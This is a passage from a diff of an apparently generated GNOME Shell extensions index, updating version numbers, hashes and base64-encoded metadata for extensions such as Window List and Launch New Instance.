-    "48": {"version": "47", "sha256": "12h6nvjx4gdjgasxi0ry37dhscsklqf5v2lxjzk01jbw2lsqjp5g", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIE5ldyBJbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDcKfQ=="}
+    "47": {"version": "49", "sha256": "1r13pc6p8kbjpn3swvl5s0ajdwsg2n2nnf2m3lgi4plf5k75692w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIG5ldyBpbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDkKfQ=="},
+    "48": {"version": "48", "sha256": "0s7aq5na0s1vfa298a4b3sxfjp54v683nxzirya7pmq3629ggn2p", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFsd2F5cyBsYXVuY2ggYSBuZXcgaW5zdGFuY2Ugd2hlbiBjbGlja2luZyBpbiB0aGUgZGFzaCBvciB0aGUgYXBwbGljYXRpb24gdmlldy5cblRoaXMgZXh0ZW5zaW9uIGlzIHBhcnQgb2YgQ2xhc3NpYyBNb2RlIGFuZCBpcyBvZmZpY2lhbGx5IHN1cHBvcnRlZCBieSBHTk9NRS4gUGxlYXNlIGRvIG5vdCByZXBvcnQgYnVncyB1c2luZyB0aGUgZm9ybSBiZWxvdywgdXNlIEdOT01FJ3MgR2l0TGFiIGluc3RhbmNlIGluc3RlYWQuIiwKICAiZXh0ZW5zaW9uLWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2UiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb24tbGF1bmNoLW5ldy1pbnN0YW5jZSIsCiAgIm5hbWUiOiAiTGF1bmNoIE5ldyBJbnN0YW5jZSIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5sYXVuY2gtbmV3LWluc3RhbmNlIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRsYWIuZ25vbWUub3JnL0dOT01FL2dub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJ1dWlkIjogImxhdW5jaC1uZXctaW5zdGFuY2VAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDgKfQ=="}
   }}
 , {"uuid": "window-list@gnome-shell-extensions.gcampax.github.com", "name": "Window List", "pname": "window-list", "description": "Display a window list at the bottom of the screen.\nThis extension is part of Classic Mode and is officially supported by GNOME. Please do not report bugs using the form below, use GNOME's GitLab instance instead.", "link": "https://extensions.gnome.org/extension/602/window-list/", "shell_version_map": {
     "38": {"version": "34", "sha256": "06jww5sv3a32plbvnl1xch10y19q807dx6zn6z5gwpvq8n0nvnx3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbnMiLAogICJuYW1lIjogIldpbmRvdyBMaXN0IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLndpbmRvdy1saXN0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMzQKfQ=="},
@@ -460,8 +460,8 @@
     "44": {"version": "48", "sha256": "121n3vcy1kk3vj7say292synnl5ig3kl94i039d2b40pslh4zlq9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ0IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNDgKfQ=="},
     "45": {"version": "51", "sha256": "1nb3iwyhn08m9ylyb8jn9lncqmj08vrldvjvn642wkibi0vg1dwf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTEKfQ=="},
     "46": {"version": "59", "sha256": "1b4g8dj5hvhnx4svr4g1mj0fwaxjibxzs72hg1hf6pnicyd4yws9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTkKfQ=="},
-    "47": {"version": "58", "sha256": "0f1ajx3683526zb6m8ckysn2z9d2r4rm044rh86mylcln5s824m4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNTgKfQ=="},
-    "48": {"version": "61", "sha256": "0cyyyq2zczc8qays57bg4l51976xpn4gxl0fnryj0p6abqr3pj79", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjEKfQ=="}
+    "47": {"version": "63", "sha256": "1yb5qgykq5dg13k1cgx7klib5p5hxvpjkqs8w8yjk4n7mqqdbms5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjMKfQ=="},
+    "48": {"version": "62", "sha256": "03760kvdlw3kk4kz9zbqbqazfixpygajvkvr00lz41yjvk8yzzx0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYSB3aW5kb3cgbGlzdCBhdCB0aGUgYm90dG9tIG9mIHRoZSBzY3JlZW4uXG5UaGlzIGV4dGVuc2lvbiBpcyBwYXJ0IG9mIENsYXNzaWMgTW9kZSBhbmQgaXMgb2ZmaWNpYWxseSBzdXBwb3J0ZWQgYnkgR05PTUUuIFBsZWFzZSBkbyBub3QgcmVwb3J0IGJ1Z3MgdXNpbmcgdGhlIGZvcm0gYmVsb3csIHVzZSBHTk9NRSdzIEdpdExhYiBpbnN0YW5jZSBpbnN0ZWFkLiIsCiAgImV4dGVuc2lvbi1pZCI6ICJ3aW5kb3ctbGlzdCIsCiAgImdldHRleHQtZG9tYWluIjogImdub21lLXNoZWxsLWV4dGVuc2lvbi13aW5kb3ctbGlzdCIsCiAgIm5hbWUiOiAiV2luZG93IExpc3QiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2luZG93LWxpc3QiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGxhYi5nbm9tZS5vcmcvR05PTUUvZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAid2luZG93LWxpc3RAZ25vbWUtc2hlbGwtZXh0ZW5zaW9ucy5nY2FtcGF4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNjIKfQ=="}
   }}
 , {"uuid": "MultiClock@mibus.org", "name": "MultiClock", "pname": "multiclock", "description": "A clock for showing a second timezone in the panel.", "link": "https://extensions.gnome.org/extension/605/multiclock/", "shell_version_map": {
     "40": {"version": "8", "sha256": "1pp1cnmpix668mrywpv6mkyb45lw7f6cwibjl6bc7cgb01hkzd53", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgY2xvY2sgZm9yIHNob3dpbmcgYSBzZWNvbmQgdGltZXpvbmUgaW4gdGhlIHBhbmVsLiIsCiAgIm5hbWUiOiAiTXVsdGlDbG9jayIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5taWJ1c011bHRpQ2xvY2siLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzYiLAogICAgIjQwLjAiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9taWJ1cy9NdWx0aUNsb2NrIiwKICAidXVpZCI6ICJNdWx0aUNsb2NrQG1pYnVzLm9yZyIsCiAgInZlcnNpb24iOiA4Cn0="}
@@ -669,7 +669,8 @@
     "40": {"version": "28", "sha256": "1yzw6jky36z5ivx7k9mpjq3hr87mk3w17a43pnisc4k40xisq1m6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGNhbGN1bGF0ZXMgc3Ryb25nIHBhc3N3b3JkcyBmb3IgZWFjaCBhbGlhcyBmcm9tIHlvdXIgc2luZ2xlIHNlY3JldC4gTm8gbmVlZCB0byByZW1lbWJlciBkb3plbnMgb2YgcGFzc3dvcmRzIGFueSBsb25nZXIuIE5vIG5lZWQgZm9yIGEgcGFzc3dvcmQgbWFuYWdlciBhbnkgbG9uZ2VyLiBGdWxsIGZyZWVkb20gaW4gY2hvb3NpbmcgYWxpYXNlcyBhbmQgc2VjcmV0LCBlLmcuIGFsaWFzOiBcInVzZXJuYW1lQGdvb2dsZS5jb20jMjAxNFwiLCBzZWNyZXQ6IFwic2FGZVx1MjZiZmluXHU2ZjIyXHU1YjU3XCIuIFJlY2VudCBhbGlhc2VzIGFyZSBrZXB0IGluIGEgZWFzaWx5IGFjY2Vzc2libGUgZHJvcC1kb3duLiBZb3UgbWF5IGNob29zZSBiZXR3ZWVuIEhNQUNfU0hBMSBhbmQgU0hBMS4gVGhlIGZvcm11bGEgaXMgYXMgc2ltcGxlIGFzIFwiW3NlY3JldF1bYWxpYXNdXCIgXHUyMTkyIFNIQTEgXHUyMTkyIEJBU0U2NCAiLAogICJuYW1lIjogIlBhc3N3b3JkIENhbGN1bGF0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucHdjYWxjIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3RoaWxvbWF1cmVyL3B3Y2FsYyIsCiAgInV1aWQiOiAicHdjYWxjQHRoaWxvbWF1cmVyLmRlIiwKICAidmVyc2lvbiI6IDI4Cn0="},
     "42": {"version": "28", "sha256": "1yzw6jky36z5ivx7k9mpjq3hr87mk3w17a43pnisc4k40xisq1m6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGNhbGN1bGF0ZXMgc3Ryb25nIHBhc3N3b3JkcyBmb3IgZWFjaCBhbGlhcyBmcm9tIHlvdXIgc2luZ2xlIHNlY3JldC4gTm8gbmVlZCB0byByZW1lbWJlciBkb3plbnMgb2YgcGFzc3dvcmRzIGFueSBsb25nZXIuIE5vIG5lZWQgZm9yIGEgcGFzc3dvcmQgbWFuYWdlciBhbnkgbG9uZ2VyLiBGdWxsIGZyZWVkb20gaW4gY2hvb3NpbmcgYWxpYXNlcyBhbmQgc2VjcmV0LCBlLmcuIGFsaWFzOiBcInVzZXJuYW1lQGdvb2dsZS5jb20jMjAxNFwiLCBzZWNyZXQ6IFwic2FGZVx1MjZiZmluXHU2ZjIyXHU1YjU3XCIuIFJlY2VudCBhbGlhc2VzIGFyZSBrZXB0IGluIGEgZWFzaWx5IGFjY2Vzc2libGUgZHJvcC1kb3duLiBZb3UgbWF5IGNob29zZSBiZXR3ZWVuIEhNQUNfU0hBMSBhbmQgU0hBMS4gVGhlIGZvcm11bGEgaXMgYXMgc2ltcGxlIGFzIFwiW3NlY3JldF1bYWxpYXNdXCIgXHUyMTkyIFNIQTEgXHUyMTkyIEJBU0U2NCAiLAogICJuYW1lIjogIlBhc3N3b3JkIENhbGN1bGF0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucHdjYWxjIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3RoaWxvbWF1cmVyL3B3Y2FsYyIsCiAgInV1aWQiOiAicHdjYWxjQHRoaWxvbWF1cmVyLmRlIiwKICAidmVyc2lvbiI6IDI4Cn0="},
     "43": {"version": "28", "sha256": "1yzw6jky36z5ivx7k9mpjq3hr87mk3w17a43pnisc4k40xisq1m6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGNhbGN1bGF0ZXMgc3Ryb25nIHBhc3N3b3JkcyBmb3IgZWFjaCBhbGlhcyBmcm9tIHlvdXIgc2luZ2xlIHNlY3JldC4gTm8gbmVlZCB0byByZW1lbWJlciBkb3plbnMgb2YgcGFzc3dvcmRzIGFueSBsb25nZXIuIE5vIG5lZWQgZm9yIGEgcGFzc3dvcmQgbWFuYWdlciBhbnkgbG9uZ2VyLiBGdWxsIGZyZWVkb20gaW4gY2hvb3NpbmcgYWxpYXNlcyBhbmQgc2VjcmV0LCBlLmcuIGFsaWFzOiBcInVzZXJuYW1lQGdvb2dsZS5jb20jMjAxNFwiLCBzZWNyZXQ6IFwic2FGZVx1MjZiZmluXHU2ZjIyXHU1YjU3XCIuIFJlY2VudCBhbGlhc2VzIGFyZSBrZXB0IGluIGEgZWFzaWx5IGFjY2Vzc2libGUgZHJvcC1kb3duLiBZb3UgbWF5IGNob29zZSBiZXR3ZWVuIEhNQUNfU0hBMSBhbmQgU0hBMS4gVGhlIGZvcm11bGEgaXMgYXMgc2ltcGxlIGFzIFwiW3NlY3JldF1bYWxpYXNdXCIgXHUyMTkyIFNIQTEgXHUyMTkyIEJBU0U2NCAiLAogICJuYW1lIjogIlBhc3N3b3JkIENhbGN1bGF0b3IiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucHdjYWxjIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0MCIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3RoaWxvbWF1cmVyL3B3Y2FsYyIsCiAgInV1aWQiOiAicHdjYWxjQHRoaWxvbWF1cmVyLmRlIiwKICAidmVyc2lvbiI6IDI4Cn0="},
-    "44": {"version": "28", "sha256": "1yzw6jky36z5ivx7k9mpjq3hr87mk3w17a43pnisc4k40xisq1m6", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRoaXMgZXh0ZW5zaW9uIGNhbGN1bGF0ZXMgc3Ryb25nIHBhc3N3b3JkcyBmb3IgZWFjaCBhbGlhcyBmcm9tIHlvdXIgc2luZ2xlIHNlY3JldC4gTm8gbmVlZCB0byByZW1lbWJlciBkb3plbnMgb2YgcGFzc3dvcmRzIGFueSBsb25nZXIuIE5vIG5lZWQgZm9yIGEgcGFzc3dvcmQgbWFuYWdlciBhbnkgbG9uZ2VyLiBGdWxsIGZyZWVkb20gaW4gY2hvb3NpbmcgYWxpYXNlcyBhbmQgc2VjcmV0LCBlLmcuIGFsaWFzOiBcInVzZXJuYW1lQGdvb2dsZS5jb20jMjAxNFwiLCBzZWNyZXQ6IFwic2FGZVx1MjZiZmluXHU2ZjIyXHU1YjU3XCIuIFJlY2VudCBhbGlhc2VzIGFyZSBrZXB0IGluIGEgZWFzaW